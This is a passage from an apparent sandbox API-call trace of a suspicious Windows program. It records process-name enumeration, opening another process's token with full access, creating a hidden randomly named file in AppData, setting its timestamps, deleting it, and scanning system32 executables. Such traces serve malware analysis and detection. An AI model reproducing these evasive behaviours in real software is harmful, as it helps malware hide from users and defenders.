lpUsedDefaultChar=0x0) returned 11 [0224.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9038 [0224.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x8f9038, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dllhost.exe", lpUsedDefaultChar=0x0) returned 11 [0224.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f91a0 [0224.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9038) returned 1 [0224.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f91a0) returned 1 [0224.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f91a0 [0224.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f91a0) returned 1 [0224.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x8f2aa8 [0224.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af500 [0224.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f91a0 [0224.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reader_sl.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9038 [0224.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reader_sl.exe", cchWideChar=13, lpMultiByteStr=0x8f9038, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reader_sl.exe", lpUsedDefaultChar=0x0) returned 13 [0224.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f91e8 [0224.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9038) returned 1 [0224.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f91e8) returned 1 [0224.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f91e8 [0224.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f91e8) returned 1 [0224.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x8f2b08 [0224.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af588 [0224.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f91e8 [0224.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9038 [0224.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds.exe", cchWideChar=7, lpMultiByteStr=0x8f9038, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vds.exe", lpUsedDefaultChar=0x0) returned 7 [0224.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9230 [0224.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9038) returned 1 [0224.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9230) returned 1 [0224.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9230 [0224.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9230) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad278) returned 1 [0224.945] NtOpenProcess (in: ProcessHandle=0x15ffb9c, DesiredAccess=0x400, ObjectAttributes=0x15ffba8*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x15ffba0*(UniqueProcess=0x278, UniqueThread=0x0) | out: ProcessHandle=0x15ffb9c*=0x16c) returned 0x0 [0224.945] GetExitCodeProcess (in: hProcess=0x16c, lpExitCode=0x15ffbc4 | out: lpExitCode=0x15ffbc4*=0x103) returned 1 [0224.945] NtOpenProcessToken (in: ProcessHandle=0x16c, DesiredAccess=0xf01ff, TokenHandle=0x15ffbd8 | out: TokenHandle=0x15ffbd8*=0x170) returned 0x0 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8ae0) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae840) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4add90) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8b28) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae8c8) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x901b58) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8c00) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae950) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x901bb8) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8c48) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x901c18) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8c90) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x901c78) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8cd8) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x901cd8) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8d20) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeb70) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x901d38) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8d68) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aebf8) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x901d98) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8db0) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aec80) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x901df8) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8df8) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aed08) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x901e58) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8e40) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aed90) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x901eb8) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8e88) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x901f18) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8ed0) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x901f78) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8f18) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x901fd8) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8f60) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aefb0) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902038) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8fa8) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af038) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902098) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8ff0) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af0c0) returned 1 [0224.946] NtClose (Handle=0x16c) returned 0x0 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9020f8) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8b70) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af1d0) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f2868) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f28c8) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9080) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af2e0) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f2928) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f90c8) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af368) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f2988) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9110) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af3f0) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f29e8) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9158) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af478) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f2a48) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f91a0) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af500) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f2aa8) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f91e8) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af588) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f2b08) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af148) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8a50) returned 1 [0224.947] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af148 [0224.947] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x800) returned 0x8f3850 [0224.947] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x170, dwFlags=0x0, pszPath=0x8f3850 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x0 [0225.220] CryptAcquireContextW (in: phProv=0x15ff8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ff8fc*=0x4fb630) returned 1 [0225.221] CryptGenRandom (in: hProv=0x4fb630, dwLen=0x4, pbBuffer=0x15ff910 | out: pbBuffer=0x15ff910) returned 1 [0225.221] CryptReleaseContext (hProv=0x4fb630, dwFlags=0x0) returned 1 [0225.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af588 [0225.221] CryptAcquireContextW (in: phProv=0x15ff8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ff8f8*=0x4fb630) returned 1 [0225.222] CryptGenRandom (in: hProv=0x4fb630, dwLen=0x4, pbBuffer=0x15ff90c | out: pbBuffer=0x15ff90c) returned 1 [0225.222] CryptReleaseContext (hProv=0x4fb630, dwFlags=0x0) returned 1 [0225.222] CryptAcquireContextW (in: phProv=0x15ff8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ff8f8*=0x4fb630) returned 1 [0225.223] CryptGenRandom (in: hProv=0x4fb630, dwLen=0x4, pbBuffer=0x15ff90c | out: pbBuffer=0x15ff90c) returned 1 [0225.223] CryptReleaseContext (hProv=0x4fb630, dwFlags=0x0) returned 1 [0225.223] CryptAcquireContextW (in: phProv=0x15ff8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ff8f8*=0x4fb630) returned 1 [0225.223] CryptGenRandom (in: hProv=0x4fb630, dwLen=0x4, pbBuffer=0x15ff90c | out: pbBuffer=0x15ff90c) returned 1 [0225.223] CryptReleaseContext (hProv=0x4fb630, dwFlags=0x0) returned 1 [0225.223] CryptAcquireContextW (in: phProv=0x15ff8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ff8f8*=0x4fb630) returned 1 [0225.224] CryptGenRandom (in: hProv=0x4fb630, dwLen=0x4, pbBuffer=0x15ff90c | out: pbBuffer=0x15ff90c) returned 1 [0225.224] CryptReleaseContext (hProv=0x4fb630, dwFlags=0x0) returned 1 [0225.224] CryptAcquireContextW (in: phProv=0x15ff8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ff8f8*=0x4fb630) returned 1 [0225.225] CryptGenRandom (in: hProv=0x4fb630, dwLen=0x4, pbBuffer=0x15ff90c | out: pbBuffer=0x15ff90c) returned 1 [0225.225] CryptReleaseContext (hProv=0x4fb630, dwFlags=0x0) returned 1 [0225.225] CryptAcquireContextW (in: phProv=0x15ff8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ff8f8*=0x4fb630) returned 1 [0225.226] CryptGenRandom (in: hProv=0x4fb630, dwLen=0x4, pbBuffer=0x15ff90c | out: pbBuffer=0x15ff90c) returned 1 [0225.226] CryptReleaseContext (hProv=0x4fb630, dwFlags=0x0) returned 1 [0225.226] CryptAcquireContextW (in: phProv=0x15ff8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ff8f8*=0x4fb630) returned 1 [0225.227] CryptGenRandom (in: hProv=0x4fb630, dwLen=0x4, pbBuffer=0x15ff90c | out: pbBuffer=0x15ff90c) returned 1 [0225.227] CryptReleaseContext (hProv=0x4fb630, dwFlags=0x0) returned 1 [0225.227] CryptAcquireContextW (in: phProv=0x15ff8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ff8f8*=0x4fb630) returned 1 [0225.227] CryptGenRandom (in: hProv=0x4fb630, dwLen=0x4, pbBuffer=0x15ff90c | out: pbBuffer=0x15ff90c) returned 1 [0225.228] CryptReleaseContext (hProv=0x4fb630, dwFlags=0x0) returned 1 [0225.228] CryptAcquireContextW (in: phProv=0x15ff8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ff8f8*=0x4fb630) returned 1 [0225.228] CryptGenRandom (in: hProv=0x4fb630, dwLen=0x4, pbBuffer=0x15ff90c | out: pbBuffer=0x15ff90c) returned 1 [0225.228] CryptReleaseContext (hProv=0x4fb630, dwFlags=0x0) returned 1 [0225.228] CryptAcquireContextW (in: phProv=0x15ff8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ff8f8*=0x4fb630) returned 1 [0225.229] CryptGenRandom (in: hProv=0x4fb630, dwLen=0x4, pbBuffer=0x15ff90c | out: pbBuffer=0x15ff90c) returned 1 [0225.229] CryptReleaseContext (hProv=0x4fb630, dwFlags=0x0) returned 1 [0225.229] CryptAcquireContextW (in: phProv=0x15ff8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ff8f8*=0x4fb630) returned 1 [0225.230] CryptGenRandom (in: hProv=0x4fb630, dwLen=0x4, pbBuffer=0x15ff90c | out: pbBuffer=0x15ff90c) returned 1 [0225.230] CryptReleaseContext (hProv=0x4fb630, dwFlags=0x0) returned 1 [0225.230] CryptAcquireContextW (in: phProv=0x15ff8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ff8f8*=0x4fb630) returned 1 [0225.231] CryptGenRandom (in: hProv=0x4fb630, dwLen=0x4, pbBuffer=0x15ff90c | out: pbBuffer=0x15ff90c) returned 1 [0225.231] CryptReleaseContext (hProv=0x4fb630, dwFlags=0x0) returned 1 [0225.231] CryptAcquireContextW (in: phProv=0x15ff8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ff8f8*=0x4fb630) returned 1 [0225.231] CryptGenRandom (in: hProv=0x4fb630, dwLen=0x4, pbBuffer=0x15ff90c | out: pbBuffer=0x15ff90c) returned 1 [0225.231] CryptReleaseContext (hProv=0x4fb630, dwFlags=0x0) returned 1 [0225.232] CryptAcquireContextW (in: phProv=0x15ff8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ff8f8*=0x4fb630) returned 1 [0225.233] CryptGenRandom (in: hProv=0x4fb630, dwLen=0x4, pbBuffer=0x15ff90c | out: pbBuffer=0x15ff90c) returned 1 [0225.233] CryptReleaseContext (hProv=0x4fb630, dwFlags=0x0) returned 1 [0225.233] CryptAcquireContextW (in: phProv=0x15ff8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ff8f8*=0x4fb630) returned 1 [0225.233] CryptGenRandom (in: hProv=0x4fb630, dwLen=0x4, pbBuffer=0x15ff90c | out: pbBuffer=0x15ff90c) returned 1 [0225.233] CryptReleaseContext (hProv=0x4fb630, dwFlags=0x0) returned 1 [0225.233] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af588) returned 1 [0225.233] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af588 [0225.233] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\j4OJatX4M" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\j4ojatx4m"), fInfoLevelId=0x0, lpFileInformation=0x15ff8c4 | out: lpFileInformation=0x15ff8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x4a0000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x15ffc20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x15ff95c)) returned 0 [0225.234] GetLastError () returned 0x2 [0225.234] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\j4OJatX4M" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\j4ojatx4m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x188 [0225.234] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x15ff908, lpLastWriteTime=0x15ff908) returned 1 [0225.234] NtClose (Handle=0x188) returned 0x0 [0225.234] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x800) returned 0x8f4058 [0225.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x184) returned 0x8f4860 [0225.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8a50 [0225.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f91e8 [0225.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f91a0 [0225.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9158 [0225.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9110 [0225.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f90c8 [0225.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9080 [0225.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0225.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8b70 [0225.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8ff0 [0225.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8fa8 [0225.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8f60 [0225.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8f18 [0225.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8ed0 [0225.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8e88 [0225.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8e40 [0225.235] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\j4OJatX4M", lpszShortPath=0x8f4058, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1") returned 0x2a [0225.235] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\j4OJatX4M" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\j4ojatx4m"), fInfoLevelId=0x0, lpFileInformation=0x15ff904 | out: lpFileInformation=0x15ff904*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x9cc49230, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x9cc49230, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x9cc49230, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0225.236] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\j4OJatX4M", dwFileAttributes=0x80) returned 1 [0225.236] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\j4OJatX4M" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\j4ojatx4m")) returned 1 [0225.236] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4058) returned 1 [0225.236] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af588) returned 1 [0225.236] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8df8 [0225.236] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4058 [0225.236] GetSystemDirectoryW (in: lpBuffer=0x8f4058, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0225.236] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4058) returned 1 [0225.236] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af588 [0225.236] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af500 [0225.236] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af478 [0225.236] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\*.exe", fInfoLevelId=0x1, lpFindFileData=0x15ff9a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff9a8) returned 0x4fd4a0 [0225.236] CryptAcquireContextW (in: phProv=0x15ff918, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ff918*=0x4fb630) returned 1 [0225.237] CryptGenRandom (in: hProv=0x4fb630, dwLen=0x4, pbBuffer=0x15ff92c | out: pbBuffer=0x15ff92c) returned 1 [0225.237] CryptReleaseContext (hProv=0x4fb630, dwFlags=0x0) returned 1 [0225.237] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f389923, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f389923, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f389923, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="aitagent.exe", cAlternateFileName="")) returned 1 [0225.611] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f8f016, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x41f8f016, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9897070, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="alg.exe", cAlternateFileName="")) returned 1 [0225.612] FindNextFileW (in: 